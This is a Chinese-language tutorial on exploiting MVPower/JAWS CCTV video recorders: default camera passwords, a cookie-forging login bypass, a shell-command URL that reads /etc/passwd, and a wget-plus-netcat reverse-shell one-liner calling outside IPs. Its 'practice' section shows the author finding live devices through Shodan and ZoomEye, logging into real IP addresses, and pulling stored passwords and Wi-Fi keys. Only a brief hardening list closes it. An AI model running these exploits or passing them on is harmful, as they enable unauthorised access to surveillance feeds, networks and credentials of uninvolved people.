网络摄像头(IP CAMERAS)在日常生活中越来越普及,交通路口抓取车牌号码,幼儿园用来监控小孩,小区车牌识别系统等等,这些摄像头会跟计算机或者录像等硬件设备连接,以便进行图像存储和及时浏览。很多摄像头还直接跟网络连接,以方便客户通过浏览器或者客户端进行连接管理和查看。商家的本意是为了方便用户进行查看,但很多网络摄像头由于厂商对安全重视不够,黑客通过技术手段可以很方便对存在漏洞的网络摄像头进行存取和浏览,在有些情况下,还可以获取网络摄像头所在服务器的权限,甚至可以渗透进入该摄像头所在网络,危害实在很大。
一、存在漏洞分析
AndrewTierney在其Blog上公布了一片有关摄像头漏洞利用的文章(https://www.pentestpartners.com/blog/pwning-cctv-cameras/)。归纳其核心如下:
1.存在弱口令漏洞
简称为“CCTV”(Mvpower 8 Channel Security DVR Full D1 H.264CCTV Real-time Network Digital Video Recorder Mobile Motion Detection,P2P HDMIAlarm Email for CCTV Surveillance Cmeras System)amazon购买地址http://www.amazon.co.uk/dp/B0162AQCO4,存在弱口令admin密码为空。收集的其它几款网络摄像机的口令如下:
(1)海康威视IP网络摄像机:超级用户:admin,超级用户密码:12345。
(2)大华网络摄像机:用户名:admin,密码:888888。
(3)天地伟业网络摄像机:用户名:Admin,密码:111111
2.登录密码绕过漏洞
我们可以对之前用默认密码成功登录的页面进行抓包,找到处理页面登录逻辑的js,对处理页面登录的逻辑分析发现,存在登录绕过漏洞,代码如下:
$(document).ready(function(){
dvr_camcnt= Cookies.get("dvr_camcnt");
iSetAble= Cookies.get("iSetAble");
iPlayBack= Cookies.get("iPlayBack");
dvr_usr= Cookies.get("dvr_usr");
dvr_pwd= Cookies.get("dvr_pwd");
if(iSetAble== '0'){
$('#pb_settings').css('display','none');
}
if(iPlayBack== '0'){
$('#pb_review').css('display','none');
}
if(dvr_camcnt== null || dvr_usr == null || dvr_pwd == null)
{
location.href= "/index.html";
}
系统管理页面直接通过js检查cookie是否为空来判断用户是否登录。现在竟然还有程序员这样来写登录状态判断。
于是,通过伪造cookie便可以绕过登录检查。通过代码可以看到需要伪造三个cookie值,dvr_camcnt,dvr_usr=admin,dvr_pwd=123。直接打开http://xx.xx.xx.xx/view2.html时,抓包发现系统会自动设置该cookie参数的值,这个值需要记录下来,否则后面填错的话是看不到监控内容的。dvr_usr和dvr_pwd可以随便设置,只要不为空就好,如图1所示。保存后,重新刷新一下http://xx.xx.xx.xx/view2.html,便可以成功登录系统。
图1密码绕过漏洞
3.直接获取webshell及其root密码
直接访问http://www.antian365.com/shell?cat /etc/passwd即可获取服务器root帐号密码,如图2所示。获取其root帐号密码为a03e3thxwWU0g,经破解其明文为“juantech”。
图2获取webshell
4.获取反弹shell
执行以下命令:
cd/root/rec/a1 && wget http://212.111.43.161/busybox &&chmod +xbusybox&& ./busybox nc 122.115.47.398000 -e /bin/sh -e /bin/sh,将反弹shell至122.115.47.39的8000端口。还可以执行命令“http://www.antian365.com/shell?/usr/sbin/telnetd-l/bin/sh -p 25”通过telnet 目标IP直接进入系统。
二、实战演练
通过上面的漏洞分析,我们可以对存在漏洞的CCTV网络摄像头进行实际漏洞测试,以验证漏洞的真实性和掌握漏洞利用方法。
1.确定cctv网络摄像头关键字“JAWS”
在kaliLinux中打开bannergrab,填上设备的IP地址和web端口号,banner抓取结果如图3所示,其中关键字为Server后的字符串“JAWS”。
图3获取关键字
2.快速获取存在的目标服务器
在本例中使用zoomeye进行检索,输入地址https://www.zoomeye.org/search?q=JAWS 直接进行查询,也可以使用shodan进行检索(https://www.shodan.io/search?query=JAWS%2F1.0),如图4所示,获取了找到约37,726 条结果, 34,263 个主机 (0.096 秒)。
图4检索关键字“JAWS”
3.随机对目标进行访问
在检索结果中随机对结果进行访问,打开http://223.255.146.74/,用户名输入admin密码为空,直接登录系统,如图5所示,可以查看监控的房间和画面。
图5获取访问权限
4.直接获取访问密码
使用命令“shell?cat%20/tmp/usrm.ini”可以直接获取访问密码,例如http://210.21.34.206/shell?cat%20/tmp/usrm.ini可以获取默认管理员密码为空,如图6和图7所示。将默认密码进行修改后,重新访问,其密码已经写入到/tmp/usrm.ini文件中。
图6直接获取管理员密码
图7修改后的密码直接明文保存
5.获取无线网络密码
在其网络设置中可以直接获取其无线AP的名称及其密码,如图8所示。
6.反弹shell测试
对部分目标进行了反弹shell测试,均为成功,可能是无写权限,下载http://212.111.43.161/busybox文件大概需要100M。
三、防范措施及建议
目前网上已经出现利用该漏洞恶意程序,而官方未发布相应补丁。用户可采取以下措施加固安全:
1.修改默认root密码为其他强健密码。
2.对外不提供web访问。或者将地址设置为一个复杂的名称,使其默认地址不被访问。
3.对服务器可写进行严格限制。
4.修改默认admin密码。